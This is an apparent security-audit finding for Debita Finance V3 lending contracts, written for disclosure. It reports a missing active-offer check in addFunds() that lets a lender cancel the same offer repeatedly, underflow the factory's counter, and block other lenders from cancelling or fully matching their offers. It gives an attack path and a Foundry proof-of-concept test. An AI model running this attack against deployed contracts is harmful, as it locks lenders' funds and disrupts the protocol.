Mini Tawny Whale

High

# A malicious lender will cause lending offers to be unmatchable and uncancellable due to a missing check in `DLOImplementation::addFunds()`

### Summary

The missing check in `DLOImplementation::addFunds()` allows malicious lenders to cancel their offers mutliple times. This creates a situation where any call to `DebitaV3Aggregator::matchOffersV3` that attempts to fully fill a non-perpetual lending offer by matching it with a compatible borrow offer will revert.
Additionally, whenever any other lender tries to cancel their offer, the call also reverts.
Both reverts occur due to an [underflow](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/1465ba6884c4cc44f7fc28e51f792db346ab1e33/Debita-V3-Contracts/contracts/DebitaLendOfferFactory.sol#L212) in `DLOFactory::deleteOrder()`.

### Root Cause

In `DebitaLendOffer-Implementation:163`, there is a missing check to verify that the offer a lender wants to add funds to is still active. Furthermore, `DLOImplementation::cancelOffer()` only checks whether `availableAmount > 0`.
### Internal pre-conditions

1. At least one borrow offer needs to be active.

### External pre-conditions

None.

### Attack Path

1. LenderA calls `DLOFactory::createLendOrder` to create a non-perpetual offer. This offer is compatible with BorrowOfferA.
2. Malicious LenderB calls `DLOFactory::createLendOrder` to create an offer.
3. LenderB calls `DLOImplementation::cancelOffer()` to delete their offer. The offer is marked as inactive.
4. LenderB calls `DLOImplementation::addFunds()` to add funds to their inactive offer.
5. LenderB calls `DLOImplementation::cancelOffer()` again. This triggers `DLOFactory::deleteOrder()` even though the offer is already inactive.

The malicious lender repeats step 4 and 5 until the call to cancel their offer reverts due to an underflow.
Every time a new offer is created, he will repeat steps 4 and 5.

6.1. `DebitaV3Aggregator::matchOffersV3` is called to fully fill LendOfferA by matching it with BorrowOfferA, but the call reverts.
6.2. LenderA calls `DLOImplementation::cancelOffer()` to delete their offer, but the call also reverts.

It is important to note that the malicious lender will not lose any funds by doing this.

### Impact

Non-perpetual lending offers can never be matched if doing so would fully fill them.
As a result, some funds sent to the lending offer will not earn interest for the lender, even if a compatible borrowing offer exists. To avoid this, lenders would be forced to create only perpetual offers. Additionally, the protocol will lose fees because many funds remain unlent, even when enough borrowing offers exist to fill them.

Furthermore, no lender will be able to cancel any of their offers. This means lending offers can still be accepted, even if the respective lenders no longer wish for them to be.

### PoC

Add the following in `BasicDebitaAggregator.t.sol`:
```solidity
DLOImplementation public SecondLendOrder;
DLOImplementation public ThirdLendOrder;
DLOImplementation public FourthLendOrder;
address secondLender = 0x5C235931376b21341fA00d8A606e498e1059eCc0;
```

Furthermore, an import needs to be changed in `BasicDebitaAggregator.t.sol`:
```diff
- import {Test, console} from "forge-std/Test.sol";
+ import {Test, console, stdError} from "forge-std/Test.sol";
```


Append the following to `setUp()` in `BasicDebitaAggregator.t.sol`:

```solidity
    vm.startPrank(secondLender);
    deal(AERO, address(secondLender), 1000e18, false);
    IERC20(AERO).approve(address(DLOFactoryContract), 1000e18);
    ratio[0] = 1e18;
    address SecondlendOrderAddress = DLOFactoryContract.createLendOrder(
        false,
        oraclesActivated,
        false,
        ltvs,
        1000,
        8640000,
        86400,
        acceptedPrinciples,
        AERO,
        oraclesPrinciples,
        ratio,
        address(0x0),
        5e18
    );
    vm.stopPrank();

    ratio[0] = 1e18;
    address ThirdlendOrderAddress = DLOFactoryContract.createLendOrder(
        false,
        oraclesActivated,
        false,
        ltvs,
        1000,
        8640000,
        86400,
        acceptedPrinciples,
        AERO,
        oraclesPrinciples,
        ratio,
        address(0x0),
        5e18
    );

    ratio[0] = 1e18;
    address FourthlendOrderAddress = DLOFactoryContract.createLendOrder(
        false,
        oraclesActivated,
        false,
        ltvs,
        1000,
        8640000,
        86400,
        acceptedPrinciples,
        AERO,
        oraclesPrinciples,
        ratio,
        address(0x0),
        5e18
    );

    SecondLendOrder = DLOImplementation(SecondlendOrderAddress);
    ThirdLendOrder = DLOImplementation(ThirdlendOrderAddress);
    FourthLendOrder = DLOImplementation(FourthlendOrderAddress);
```



Add the following test to `BasicDebitaAggregator.t.sol` (it only works when four lend orders have been created):

```solidity
function testDeleteLendOfferRevert() public {
        
    vm.startPrank(secondLender);

    IERC20(AERO).approve(address(SecondLendOrder), 1000e18);

    SecondLendOrder.cancelOffer();

    uint balanceBeforeAddFunds = IERC20(AERO).balanceOf(address(SecondLendOrder));

    SecondLendOrder.addFunds(1e18);
    uint balanceAfterAddFunds = IERC20(AERO).balanceOf(address(SecondLendOrder));
    assertEq(balanceBeforeAddFunds, balanceAfterAddFunds - 1e18);
        
    SecondLendOrder.cancelOffer();
        
    SecondLendOrder.addFunds(1e18);
    balanceAfterAddFunds = IERC20(AERO).balanceOf(address(SecondLendOrder));
    assertEq(balanceBeforeAddFunds, balanceAfterAddFunds - 1e18);
        
    SecondLendOrder.cancelOffer();

    SecondLendOrder.addFunds(1e18);
    balanceAfterAddFunds = IERC20(AERO).balanceOf(address(SecondLendOrder));
    assertEq(balanceBeforeAddFunds, balanceAfterAddFunds - 1e18);
        
    SecondLendOrder.cancelOffer();
        
    vm.stopPrank();
    
    // other lend orders cannot be canceled    
    vm.expectRevert(stdError.arithmeticError);
    ThirdLendOrder.cancelOffer();

    vm.expectRevert(stdError.arithmeticError);
    FourthLendOrder.cancelOffer();
    
    address[] memory lendOrders = allDynamicData.getDynamicAddressArray(2);
    uint[] memory lendAmountPerOrder = allDynamicData.getDynamicUintArray(
        2
    );
    uint[] memory porcentageOfRatioPerLendOrder = allDynamicData
        .getDynamicUintArray(2);
    address[] memory principles = allDynamicData.getDynamicAddressArray(1);
    uint[] memory indexForPrinciple_BorrowOrder = allDynamicData
        .getDynamicUintArray(2);
    uint[] memory indexForCollateral_LendOrder = allDynamicData
        .getDynamicUintArray(2);
    uint[] memory indexPrinciple_LendOrder = allDynamicData
        .getDynamicUintArray(2);

    lendOrders[0] = address(ThirdLendOrder);
    lendAmountPerOrder[0] = 5e18;
    porcentageOfRatioPerLendOrder[0] = 10000;
    principles[0] = AERO;

    lendOrders[1] = address(FourthLendOrder);
    lendAmountPerOrder[1] = 5e18;
    porcentageOfRatioPerLendOrder[1] = 10000;

    // lend orders that are not perpetual cannot be matched, if their available amount would be 0
    vm.expectRevert(stdError.arithmeticError);
    address loan = DebitaV3AggregatorContract.matchOffersV3(
        lendOrders,
        lendAmountPerOrder,
        porcentageOfRatioPerLendOrder,
        address(BorrowOrder),
        principles,
        indexForPrinciple_BorrowOrder,
        indexForCollateral_LendOrder,
        indexPrinciple_LendOrder
    );
}
```

### Mitigation

Consider adding a check to ensure that no funds can be added to an inactive offer.